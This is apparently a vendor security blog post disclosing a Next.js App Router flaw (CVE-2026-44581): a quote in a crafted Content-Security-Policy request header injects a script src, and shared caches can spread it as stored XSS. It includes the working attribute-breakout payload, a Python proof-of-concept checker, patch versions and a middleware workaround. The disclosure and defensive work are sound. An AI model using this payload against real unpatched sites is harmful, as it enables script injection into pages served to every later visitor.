Code Audit is live!  Try it now
Blog

CSP2XSS: Vulnerability in Next.js App Router

A single HTTP request with a crafted Content-Security-Policy header breaks out of an HTML attribute and injects script content into framework-generated <script> tags. Cached responses propagate the payload to every later visitor.

Dragos Albastroiu

Dragos Albastroiu

May 8, 2026

CSP2XSS: Vulnerability in Next.js App Router

AISafe Labs independently discovered a vulnerability in Next.js App Router. One HTTP request with a crafted Content-Security-Policy header breaks out of an HTML attribute and injects script content into framework-generated <script> tags. On its own that produces reflected XSS. When the poisoned response lands in a shared cache (ISR, a CDN, or a reverse proxy), every later visitor of the cached path receives the attacker's payload, escalating the impact to stored XSS.

The issue is tracked as CVE-2026-44581 (GHSA-ffhc-5mcf-pf4q) and rated Moderate (CVSS 4.7). Vercel shipped patches in 15.5.16 and 16.2.5. Another researcher reported the same issue to Vercel through HackerOne before our submission and is the primary reporter on the advisory; this writeup is our own analysis of the bug we found.


What is Next.js App Router and how it Works

Next.js is a React framework for building web applications. The App Router is the routing model introduced in Next.js 13 and now used by most new Next.js deployments: every Vercel template, every npx create-next-app, and most production self-hosted deployments shipped over the last two years run on App Router.

App Router renders pages on the server, streams HTML to the browser, and interleaves framework-generated <script> tags into the response. Those tags hydrate React, restore client state, and bootstrap the route. When Content Security Policy is in use, the framework script tags carry a nonce="…" attribute so the browser knows they are trusted.

Apps do not need to opt in to CSP nonces. The framework forwards a nonce from a request header into rendered HTML whenever the header is present. That forwarding is the path with the bug.


Vulnerability Analysis

The Vulnerable Code

When App Router renders a request, it reads a Content-Security-Policy (or …-Report-Only) header from the request and extracts the nonce-… source token, treating it as the nonce to apply to framework script tags:

// packages/next/src/server/app-render/app-render.tsx const csp = headers['content-security-policy'] || headers['content-security-policy-report-only'] const nonce = typeof csp === 'string' ? getScriptNonceFromHeader(csp) : undefined

getScriptNonceFromHeader parses the nonce- token out of the directive and runs one sanity check: reject the value if it contains a small set of HTML metacharacters.

// packages/next/src/server/app-render/get-script-nonce-from-header.tsx const nonce = directive .split(' ') .slice(1) .map((source) => source.trim()) .find( (source) => source.startsWith("'nonce-") && source.length > 8 && source.endsWith("'") ) ?.slice(7, -1) if (!nonce) { return } // Don't accept the nonce value if it contains HTML escape characters. if (ESCAPE_REGEX.test(nonce)) { throw new Error( 'Nonce value from Content-Security-Policy contained HTML escape characters.' ) } return nonce

ESCAPE_REGEX rejects &, <, >, and a couple of Unicode separators. It does not reject the double-quote ("). That single omission is enough to break out of the nonce attribute and inject arbitrary HTML attributes, including src.

The extracted nonce reaches two sinks:

Sink 1: icon-reinsert script (direct interpolation)

// packages/next/src/server/app-render/metadata-insertion/create-server-inserted-metadata.tsx return `<script ${nonce ? `nonce="${nonce}"` : ''}>${REINSERT_ICON_SCRIPT}</script>`

No escaping. A nonce containing " closes the attribute and everything after it becomes new HTML.

Sink 2: RSC Flight data (JSON.stringify)

// packages/next/src/server/app-render/use-flight-response.tsx const startScriptTag = nonce ? `<script nonce=${JSON.stringify(nonce)}>` : '<script>'

JSON.stringify turns " into \", but \ is not an HTML escape character. The browser's HTML parser sees \" as two characters (a backslash followed by a quote) and still treats the " as closing the attribute. The backslash ends up as literal text in the attribute value.

Both sinks allow the attacker to close the nonce attribute and inject a src pointing at a data: URI containing arbitrary JavaScript:

Nonce value:  x"src=data:text/javascript,alert(document.domain)//

Sink 1 produces:

<script nonce="x" src=data:text/javascript,alert(document.domain)//"></script>

The browser loads the data: URI as the script source instead of executing the inline body. The // at the end of the data URI turns the trailing "> into a JavaScript comment, preventing a syntax error. The attacker's alert(document.domain) (or any other payload) executes.

Reflected vs. Stored

The injection above only affects the response to the attacker's own request. Browsers do not include Content-Security-Policy in outgoing requests, so a user clicking a link will never send the malicious header on their own. CSP2XSS by itself is a server-side HTML injection gadget, not a directly exploitable reflected XSS. It becomes exploitable when chained with cache poisoning: the attacker sends the crafted header, the server bakes the payload into a cached response, and subsequent visitors receive the poisoned page without needing to send any special header themselves.

In an App Router deployment with Incremental Static Regeneration (export const revalidate = N), Next.js periodically re-renders pages in the background and stores the result. Outside Vercel, that re-render runs in-process and inherits headers from the request that triggered it, including the attacker's Content-Security-Policy. The poisoned HTML lands in the cache. Subsequent visitors get it until the cache entry expires.

The same outcome happens whenever a CDN, reverse proxy, or edge cache (Cloudflare, CloudFront, Fastly, Varnish, Nginx with proxy_cache) sits in front of an App Router origin and the cache key does not vary on the request CSP header. That is the default. The first attacker request becomes a stored XSS for everyone hitting the same edge node.


Affected Versions

Per the advisory:

  • >= 13.4.0 < 15.5.16 is affected
  • >= 16.0.0 < 16.2.5 is affected

Patched releases:

  • 15.5.16
  • 16.2.5

Pages Router is not affected. Pages Router renders nonces through React JSX, which encodes " to &quot; before the value reaches the HTML, so the attribute breakout is impossible there.


Are You Affected?

  1. Do you use App Router?
  2. Do any of your routes get cached? (ISR via export const revalidate, a CDN, a reverse proxy, Cache-Control: s-maxage, stale-while-revalidate)

Both yes means you are exposed to the stored variant.


Mitigation

The fix is to upgrade Next.js to 15.5.16 or 16.2.5. The patched releases reject malformed nonce values before the value reaches the HTML.

If you cannot upgrade, the advisory's recommended workaround is to strip the inbound Content-Security-Policy request header from untrusted traffic before it reaches the application. A Next.js middleware does the job:

// middleware.ts import { NextResponse } from 'next/server' import type { NextRequest } from 'next/server' export function middleware(request: NextRequest) { const requestHeaders = new Headers(request.headers) requestHeaders.delete('content-security-policy') requestHeaders.delete('content-security-policy-report-only') return NextResponse.next({ request: { headers: requestHeaders }, }) }

If you already deploy CSP middleware that calls requestHeaders.set('content-security-policy', …) with your own policy, you are already protected. Your set() call overwrites the attacker's value before the renderer reads it.

CSP configured via next.config.js headers does not protect you. Those entries set response headers. The bug reads from the request header, which only middleware (or an upstream proxy that explicitly strips the inbound header) can intercept.


Proof of Concept

The script below checks whether a target Next.js deployment is vulnerable. It sends a single GET request with a crafted CSP header containing a data: URI payload and inspects the HTML response for the injected src attribute. A random cache-buster query parameter avoids hitting stale CDN or ISR entries.

#!/usr/bin/env python3 """Check whether a Next.js App Router deployment is vulnerable to CVE-2026-44581.""" import secrets import sys import requests TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000" PAYLOAD_JS = "alert(document.domain)" NONCE = f'x"src=data:text/javascript,{PAYLOAD_JS}//' CSP_HEADER = f"script-src 'nonce-{NONCE}'" cache_buster = f"?_cb={secrets.token_hex(6)}" url = f"{TARGET}/{cache_buster}" print(f"Target: {url}") print(f"CSP header: {CSP_HEADER}\n") r = requests.get(url, headers={"Content-Security-Policy": CSP_HEADER}, timeout=15) print(f"Status: {r.status_code}") needle = f'src=data:text/javascript,{PAYLOAD_JS}//' if needle in r.text: idx = r.text.find(needle) context = r.text[max(0, idx - 80) : idx + len(needle) + 40] print(f"VULNERABLE: injected src attribute found in response:\n\n …{context}…\n") sys.exit(0) else: print("Not vulnerable (injected attribute not found in response).") sys.exit(1)

On a vulnerable build the output includes the injected <script> tag with the src=data:text/javascript,... attribute. To confirm the stored variant, point the same script at an ISR route (export const revalidate = N), wait for the revalidation interval, then request the same path without the CSP header and check whether the payload persists in the response.


About AISafe Labs

AISafe Labs builds affordable, automated security for web applications. We scanned the Next.js codebase with the same product we ship to customers; this finding came out of a single run, no human triage step required.

If you want this kind of coverage on your own codebase, try AISafe.

Share this post